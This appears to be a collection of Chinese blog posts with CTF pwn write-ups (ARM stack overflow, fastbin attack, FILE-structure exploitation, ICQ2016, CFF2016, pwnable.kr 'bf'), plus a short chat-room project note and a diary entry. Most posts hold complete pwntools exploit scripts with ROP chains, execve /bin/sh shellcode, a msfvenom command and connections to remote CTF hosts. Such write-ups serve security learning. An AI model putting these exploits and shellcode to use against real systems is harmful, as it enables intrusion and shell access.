ARM环境下栈溢出攻击初探

题目来自于2016年全国高校网安联赛pwn专场。

参考文献:http://www.freebuf.com/articles/terminal/107276.html

其中有一题warmup的题目,常规思路,使用file命令查看该文件格式,发现是arm下静态文件,之后常规考虑用ROPgadget生成ropchain,放入栈中执行,但是这边有区别,arm是以r0寄存器存放第一个函数参数的。所以我们需要手工构造ropchain,首先去找system函数,虽然该bin文件去符号化了,但是由于存在/bin/sh字符串,跟踪一下就发现了如下函数。

这不就是system函数么。。。

接着用ROPgadget来找一个控制r0寄存器的ropchain就可以了。。如下命令

ROPgadget --binary warmup --only "pop"|grep r0

找到了

0x00020904 : pop {r0, r4, pc}

接着就剩下构造ropchian并执行了,如下脚本。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(log_level="debug")
p = process('./warmup')
p.recvuntil('\n')
p.sendline()
raw_input()
pr0_pr4_ret =0x00020904
bin_sh = 0x6C384
system = 0x110B4
payload = p32(pr0_pr4_ret)+p32(bin_sh)+p32(0)+p32(system)
p.sendline('a'*0x70+payload)
p.interactive()

另一题login,模糊测试一下直接出payload。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
import base64
context(log_level="debug")
p = process('./login')
payload = '\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x5d'
p.recvuntil('Code\n\n')
p.sendline(payload)
raw_input()
p.interactive()

fastbin attack 利用

这也算是给自己补补堆溢出的姿势吧。

题目是一题来自bctf二月场的fastbin attack 非常经典的一题教学题,当时由于知识点没有get到,所以没做出来,一直放桌面,最近闲太碍眼了,开始日。

首先补一波fast bin attack的姿势,参考自freebuf:http://www.freebuf.com/news/88660.html

基本上看着这个就能做出题目了。

这题题目涉及到了两个考点1、UAF姿势 2、fastbin attack 的姿势

注意点是,malloc fastbin 会检测长度,如果长度不符合就会报错,就像下面这样。
1.png
所以需要使待malloc的fast chunk内的size符合要求。。(BTW chunk结构不多说了,自己去百度)这一般情况下需要自己去构造,不过这题例外,题目给出了利用点,即地址为0x6C4Aa0 ,所以说教学题。。很经典。。。

接着我们就可以任意地址写啦~~,不过我们的目的是要拿到shell,这题是静态编译的,所以我们可以考虑下用ropchain来拿shell

需要用rop的话,栈内的数据必须是我们可控的,目前手里有个任意地址写的漏洞,但是我们不知道栈的地址,所以我们接下去要做的就是拿到栈地址,需要有个函数来泄露栈地址。这边将free_hook修改成printf函数的地址,在调用free的时候会跳转到printf执行。泄露栈地址之后,将我们的rop写入栈,并执行。exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-04-06 07:15:19
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
from pwn import *
context(log_level="debug")
DEBUG = 1
if DEBUG:
p = process('./fast-fast-fast')
gdb.attach(p,"b*0x40141B\nc")
# else:
# p = remote()
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def ru(data):
return p.recvuntil(data)
def create_fast(data):
ru("saysecret\n")
sl("1")
ru("delet\n")
sl('1')
ru("\n")
sl(data)
def edit_fast(data):
ru("saysecret\n")
sl("1")
ru("delet\n")
sl('2')
ru("\n")
sl(data)
def del_fast():
ru("saysecret\n")
sl("1")
ru("delet\n")
sl('3')
def create_small(data):
ru("saysecret\n")
sl("2")
ru("delet\n")
sl('1')
ru("\n")
sl(data)
def edit_small(data):
ru("saysecret\n")
sl("2")
ru("delet\n")
sl('2')
ru("\n")
sl(data)
def del_small():
ru("saysecret\n")
sl("2")
ru("delet\n")
sl('3')
def say():
ru("saysecret\n")
sl("3")
def edit(addr,data):
edit_fast(p64(1)+p64(0xFB0)+p64(addr))#change small chunk
edit_small(data)
def getchain():
from struct import pack
p = ''
p += pack('<Q', 0x0000000000401b97) # pop rsi ; ret
p += pack('<Q', 0x00000000006c1060) # @ .data
p += pack('<Q', 0x000000000044d8e4) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x00000000004714a1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401b97) # pop rsi ; ret
p += pack('<Q', 0x00000000006c1068) # @ .data + 8
p += pack('<Q', 0x000000000041c3cf) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004714a1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401a83) # pop rdi ; ret
p += pack('<Q', 0x00000000006c1060) # @ .data
p += pack('<Q', 0x0000000000401b97) # pop rsi ; ret
p += pack('<Q', 0x00000000006c1068) # @ .data + 8
p += pack('<Q', 0x0000000000437835) # pop rdx ; ret
p += pack('<Q', 0x00000000006c1068) # @ .data + 8
p += pack('<Q', 0x000000000041c3cf) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464120) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000464e75) # syscall ; ret
return p
create_fast("aaa")
del_fast()
create_small("aaa")
del_fast()
create_fast("aaa")
del_fast()
edit_small(p64(0x6C4Aa0))
say()
create_fast(p64(0x6C4A80))
edit(0x6C3750,p64(0x4082A0))
edit(0x6C2710,"%8$llX")
del_small()
stack_addr = int(ru("\n")[:12],16)-0x18
print "stack_addr="+hex(stack_addr)
edit(stack_addr,getchain())
p.interactive()

FILE结构体的溢出利用【FSP】

FILE用到的知识点 参考自 http://bobao.360.cn/learning/detail/3296.html

题目来源于BCTF 线上总决赛资格赛 pwn50
题目地址 https://github.com/Winter3un/ctf_task/tree/master/BCTF2017

用到的一个shellcode姿势点如下:

使用msfvenom生成payload。
由于我这边用的wookali,没有自带msf。Download it
中文文档:http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf

生成shellcode:msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b\x0d\x0a'

通过伪造FILE结构体,获得一次控制EIP的机会,同时 meun 函数存在经典栈溢出 scanf("%s",&v1);,可以构造rop,并利用一次控制EIP的机会执行ROP,该ROP利用mprotect函数将bss段设置为可执行,并执行放置入bss区域的规避掉坏字符的shellcode。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context(log_level="debug")
# p = process("./fake")
p = remote('106.75.93.221',12345 )
x_addr = 0x80EF9E0
fp_addr = 0x80EFA00
jump_addr = fp_addr+0x10+4*0x25+4+8
eip_addr = 0x805069d
read_addr = 0x8071460
printf_addr = 0x804F6D0
Welcome_addr = 0x0804889C
menu_addr = 0x8048AFF
p_ret = 0x080481d1
ppp_ret = 0x0804f7da
mprotect_addr = 0x08071FD0
page_size = 4096
p.recvuntil("name?\n")
payload = "a"*(fp_addr-x_addr)+p32(fp_addr+4)
# IO_FILE = p32(x_addr)*0x25+p32(jump_addr)
x=0x10
IO_FILE = p32(fp_addr)*(0x11-x)+p32(0)*x+"\x00\x00"+"\x00"+"\x00"+p32(fp_addr)*0x13+p32(jump_addr)
JUMP = p32(0)*2+p32(eip_addr)*21
gdb.attach(p,"b*0x805069d\nb*0x805442A\nb*0x80534bb\nc")
payload +=IO_FILE+JUMP
shellcode_addr = (0x80EF9E0 + len(payload))
print "shellcode_addr="+hex(shellcode_addr)
exec_addr = (0x80EF9E0 + len(payload))&~(page_size-1)
buf = ""
buf += "\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += "\x76\x0e\x9d\x3a\x39\x8f\x83\xee\xfc\xe2\xf4\xf7\x31"
buf += "\x61\x16\xcf\x5c\x51\xa2\xfe\xb3\xde\xe7\xb2\x49\x51"
buf += "\x8f\xf5\x15\x5b\xe6\xf3\xb3\xda\xdd\x75\x32\x39\x8f"
buf += "\x9d\x15\x5b\xe6\xf3\x15\x4a\xe7\x9d\x6d\x6a\x06\x7c"
buf += "\xf7\xb9\x8f"
shellcode = buf
payload+=shellcode
p.sendline(payload)
p.recvuntil("> ")
payload2 = p32(mprotect_addr)+p32(ppp_ret)+p32(exec_addr)+p32(page_size)+p32(7)+p32(shellcode_addr)
p.sendline("3"+"a"*(0x3c-1)+payload2)
p.interactive()

C/S-WeChat

前记

某日战队的一个小伙伴提出来,可以制作一个基于socket的聊天室出来,用来应对比赛时的交流问题(嗯。。不是有微信和QQ么。。),不过想法很不错。
我也借着这次机会复习一下python的socket网络编程。

这些项目保存在我的github上,并且看我心情更新。

未解决问题:

  1. 数据明文传输,未加密。
  2. 未设置登录限制,可以匿名随意进入聊天室。
  3. 易被DDOS
  4. 未发现的问题

杂记-2016-7-18

前记

这阵子发生了太多事情了,刚打完的ICQ的pwn部分都没来及上传,就匆匆的回到了警校进行节奏紧凑的训练。说实话,这次训练的体能真的不是我的强项,每次体能训练完了就像具尸体一样,不过那样又如何?我本就不是一个轻易服输的人。

【ICQ2016】 writeup

pwn1

func函数数组指针的索引没有规定范围,可以越界。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(log_level="debug")
addr =0x0804A030
bbs = 0x0804A0A0
offset = (bbs - addr)/4+1
# p =process('./tc1')
p = remote('106.75.9.11',20000)
# gdb.attach(p,'b*0x8048641\nc')
shellcode = p32(bbs+4)+ '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
p.recvuntil('de\n')
p.sendline(str(offset))
p.recvuntil(' 110]\n')
p.sendline(shellcode)
p.interactive()

【CFF2016-pwn】 Writeup

pwn1

简单的变量覆盖。

1
2
python -c 'print "a"*0x40+"\x1b\x86\x04\x08"'|nc 139.196.232.222 54000
一发带走
1.png

pwn2

scanf没有限制输入字节,可发送超长字符串导致栈溢出。

只开了NX,但是用程序自带的后门是无法读取flag的,自己发送个"/bin/sh\0"然后构造rop,拿shell

python沙盒绕过

背景

来源于ISCC2016的一题pwn题目,nc连上去后发现是一个python shell,当时思路错了,死脑筋的认为这一定是一个python反序列化漏洞,然后各种搜集资料,ORZ。
好吧,这其实是一个导入shell模块,命令执行拿flag的姿势。

2017.7.8更新:改名为python沙盒绕过,增加沙盒绕过的各种姿势。

[wargame-pwnable] bf

got表的姿势

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context(log_level="debug")
# p = process('./bf')
p = remote('pwnable.kr',9001)
elf = ELF('bf')
#readelf -s bf_libc.so |grep system
libc_system_addr = 0x0003f250
libc_setvbuf_addr = 0x00067f70
libc_gets_addr = 0x00066e50
p_addr = 0x0804A0A0
vul_addr = 0x08048671
putchar_got = elf.got['putchar']
setvbuf_got = elf.got['setvbuf']
memset_got = elf.got['memset']
fgets_got = elf.got['fgets']
payload = ''
payload += '<'*(p_addr-setvbuf_got) # point to setvbuf_got
payload += '.'+'>'+'.'+'>'+'.'+'>'+'.'+'>'+ '<'*4 #leak setvbuf()
payload += '>'*(putchar_got-setvbuf_got)#point to putchar_got
payload += ','+'>'+','+'>'+','+'>'+','+'>'+'<'*4 #change putchar() to vul_addr
payload += '<'*(putchar_got-memset_got)#point to memset_got
payload += ','+'>'+','+'>'+','+'>'+','+'>'+'<'*4 #change memset() to gets()
payload += '<'*(memset_got-fgets_got)#point to fgets_got
payload += ','+'>'+','+'>'+','+'>'+','+'>'+'<'*4 #change fgets() to gets()
payload +='.'
print 'length = '+hex(len(payload))
# gdb.attach(p,'b*0x804865A\nb*0x8048648\nc')
p.recvuntil('pt [ ]\n')
p.sendline(payload)
leak = p.recv(1)+p.recv(1)+p.recv(1)+p.recv(1)
leak_setvbuf = u32(leak)
print 'putchar_got_addr = '+hex(putchar_got)
print 'leak_setvbuf = '+hex(leak_setvbuf)
system_addr = leak_setvbuf - (libc_setvbuf_addr-libc_system_addr)
gets_addr = leak_setvbuf - (libc_setvbuf_addr-libc_gets_addr)
print 'system_addr = ' + hex(system_addr)
print 'gets_addr = '+hex(gets_addr)
print '###change putchar to vul_addr'
p.send(p32(vul_addr))
print '###change memset to gets'
p.send(p32(gets_addr))
print '###change fgets to system'
p.send(p32(system_addr))
print "###send '/bin/sh'"
p.sendline('/bin/sh\0')
p.interactive()
,
隐藏